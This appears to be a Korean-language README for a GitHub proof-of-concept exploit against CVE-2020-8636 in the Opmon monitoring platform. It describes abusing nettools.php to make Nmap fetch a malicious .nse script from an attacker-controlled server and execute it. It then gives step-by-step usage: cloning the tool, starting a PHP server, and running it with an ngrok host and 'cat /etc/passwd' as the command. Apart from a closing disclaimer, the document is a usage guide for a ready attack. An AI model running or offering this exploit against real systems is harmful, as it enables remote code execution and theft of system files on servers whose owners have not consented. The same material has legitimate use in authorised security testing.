phor3nsic/opmonsterCVE-2020-8636 Opmon용 인증된 원격 코드 실행 익스플로잇
OpMonster는 Opmon 모니터링 플랫폼의 원격 코드 실행 취약점인 CVE-2020-8636에 대한 개념 증명 익스플로잇입니다. 이는 nettools.php 엔드포인트를 악용하여 임의의 --script 옵션으로 Nmap을 실행할 수 있게 합니다. 익스플로잇은 Opmon이 사용자가 제어하는 서버에서 악성 Nmap 스크립트를 가져오도록 (를 통해) 한 후 에 저장한 다음 실행하여 대상에서 명령을 실행하고 출력을 표시합니다.
.nsehttp-fetch/tmp발견 및 개발: @phor3nsic. 자세한 내용: Opmon에 대한 세 가지 CVE.
git clone https://github.com/phor3nsic/opmonster
cd opmonster
pip install requests
먼저 대상이 접근 가능한 호스트에서 웹 서버를 시작하고, 생성된 .nse 스크립트를 다운로드할 수 있는 디렉터리에서 실행하십시오 (익스플로잇은 현재 디렉터리에 스크립트를 작성합니다):
php -S 0.0.0.0:1337
그런 다음 네 개의 위치 인수를 사용하여 익스플로잇을 실행하십시오:
python3 opmonster.py https://vulnhost.com myhost.ngrok.io 80 "cat /etc/passwd"
| 인수 | 설명 |
|---|---|
HOST | 대상 Opmon 기본 URL (예: https://vulnhost.com) |
LHOST | .nse 스크립트를 제공하는 서버 호스트 |
LPORT | 서버 포트 |
CMD | 대상에서 실행할 명령어 |
대상이 스크립트를 다운로드하지 못하거나 ("취약하지 않음") 서버로의 아웃바운드 연결을 만들 수 없는 경우 익스플로잇은 메시지와 함께 중단됩니다.
승인된 보안 테스트 및 교육 전용입니다. 사용 방법에 대한 책임은 사용자에게 있습니다.